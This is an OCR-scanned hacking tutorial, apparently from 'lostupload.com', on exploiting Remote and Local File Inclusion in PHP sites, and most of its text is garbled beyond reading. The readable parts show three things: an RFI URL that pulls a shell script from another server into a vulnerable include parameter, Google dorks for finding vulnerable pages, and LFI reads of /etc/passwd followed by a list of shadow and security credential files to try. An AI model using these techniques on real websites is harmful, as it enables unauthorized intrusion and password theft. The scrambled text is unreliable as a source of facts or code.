soaor7 Fostupload.com Hacking Spoonfed Series - RFI and LFI Une oer ten dain on of tight deep. ex, roazo hat say be Herta ws de scree ut someone ‘ne shuld al know cana tad & yo are fat few soe whl haber scting without rect pernlslon as opposed othe = ured word, ‘face then aon me expan thege two fay state usekd meshed of ata Now ofcourse here are much mers eapnsaeated metade lib gla rt pega: Oconto undp nt er own sme awry at conahan you @ Ovando sa, On dnote, he jriy of ree losis on i ard ony ataces oF Lats got downto businass. RF stands for Rorote Filo nclsion, Tho way Kors shat when a wobstoi¢ written in PH, theres sometinos a Dir Peeion te tha ects the gen page To acter age Ho hat Rave You: Bet aap of he coe ineLede(Sbase_peth . "/paget. php"): Ties stow uss th aga as ear foto ad So ay ha uot wor tbr be tom of he page apd wor tock @ got ‘orerampl, he might enscute be ode to iyo De nex page aa, ths case may wd up beng De clusion of pad op. Alaeoence Oh Mon ‘Sergi wife oat staghothe por Rls aoa nude conmae Rs he otra your Sn or wha [CRD MEST fe pes state can ane th Saee pa vate omen crow seen tw ero a nee soma aon Now say we stumble upon a wepete that we ust so happen o know uses = very basic, ar pay mucnatenten to making rwuherable nlude {inter And we abo apoea ta krow wate sven warble, (is wil al bef lerance og code above). The cade located win ndx.p%> the ip lamaservo-examescomndex.phs No 2 ea the ven varabe, we wuld ghee 27a tie endothe salad fl, ana cating ‘hs Vala Tom tra, Wa ae fedeinng te vale ato same ya evar ot fe lgewhae hl Sonam PRP, You may ask wy ‘Ssh? Wel ine taut: Snes tv remote ineusion wil eke te le ae t ware teow wr he server, = gn area ae wars Sr fatbed PHF leet needs are ng) Thus aking te von text wie fhe fx od peeing tse PH, ars every Sxacuera te remotely [cppted code, Tae he as an example: hepulameserver-sxanps cominaexp pease. pa pi lanctherserveconest bb. Explaaton: lameserverexarplecom is the base targeted URL, nes. he eta ising exped 7 s o allow us to gakhe so called SiGe to man tee. pat (oe vara) to oqol ana le elSewtor, Ti ox wil Ue parse wh to commare fir fe elle tar Now {oth tn pat Now tna Nave our‘arget, ns wa saw that wi slay theo a pargea marr wo can coe how yllale fs once ‘ely Nu rose war ese and mart tos win e sve: Pees evan @@iveak rom ato he aonnaata, Obvaueh/ nok ‘lehman prompt based shalt has treaty io enacts ost commas a you mod usualy sce wih bash salt suchas fe co Hel yame Geeiad tata a tay sae Senos sei eas pan eh \Welwhat d you kro? ity sim lo bears, Only hing bat canged was thal we placed our pope directory and flenams fr the shel hat nese tobe fared all wet wail we well pow hte a shel ockrg rae the webster, nd wl ave the ely omar er se ‘Siytnng we lease: The prog very se expbnaony, realy ro reason fo gona much Seta Now fay Ot real ramp of hs'n te Yel ‘rot char ercl wats ranen, ” “ST PENN SY ” ” ia ‘The way msjrty of pople who don fl Ie dein he work od expos, germaly search on ilrm fr 3 pute exec, thon spp iin the sant pen Ute won lhe iay sear 0 got ia Agi Garin te ato! maesats Soogns pended tak tres hap frou wal yo lnk: the most suzzane | have Pad wie earn a parca warrelo pao has bach wih te sien mao powered by PAP Advanced Transfer Manager vi. 20" Now, you can cersny uso your creat rd red aor gooale dorks, and over vocab programs by ding abi of searching on miler com, Battin ult ne an empl fer now: Once my target a Sosn foun ty my code an tune mpm Saiase, Alf ned do fd ‘thst inclusion vribl ‘hey uso, and saa a? afer he we ae aang win the comtmard and nelased le four, omverienty bested elsewhere Sree goa Reto oo ra Hoe, val pony ard econ Su and wa Proves ae you an ares Pa Pre wa oo" 18soaor7 lostupload.com Now ofcourse eid touch his ste at al. and Unis the URL, for very good reason, The pices are prety much sef-exoratony, uote nou ay LF You avsang LT Local chr, Th won ou a paar ewan daha, ode aga! See crate mucarni gts cee ae nee era) emote oa a rocoto webserver Ml samatoa are, nzen wa are naw segng aie odece wan ha inn, fe eed by dela on {he sener One example on ow to fnd haces lok ater for an exp an miworm. er do 8 google sears for Arun) shame. php?pR= Inurl index. php?pee ‘They ae pot easy tof relly no sweat Took me oughly 40 seconds this on: 28 letuplead comerssoaor7 lostupload.com ew [Al had 060 Ws 206: IL.II.-J1.feelpasswd ater te it of code ating: home phere How much easier coud get? Now that we hav allthis so eae gidbtish a ot of us, tts erpret what al his means, anc how we can use {Sur tavarage: Th sya fhe ses owen toto Youle caersame passwd UO: al nametsretoy she ‘Bu appears in our caso that the passwords dan. aka, @@shocowes. This mosne thet nes bean placed with an, ane now opto ‘nn eleraac! We no e ale to aceasta, sea Se accessed by root, Oh wal tus us fo get You fea we. So whenever 1 sco an as opposed to atl passwords ecatod nha ft!ehadow. ana tyes goo rears thet tis ead wins ltiseeurypasswel recon. But ioe fet say yu nds good Geectory witout anya burg shadowed and what. War do you do pow? Al ‘you nee 1 do nom f decry i and you sr dore! You may also wis peruse sound ft ler decors, suc a8 setcipassud {setcIshason sercleroup ‘setc/security/greup Jetc/security/passua Jere/securtty/user Joversecurity/erviron pesc/security/intss osr/Adb/securkty/nkuser default “Thats ifr now forthe Hacking Spoonfes saris, hopofuly Ill dabble abt moro ltr with this rea. esupload then, good het pteetploac comida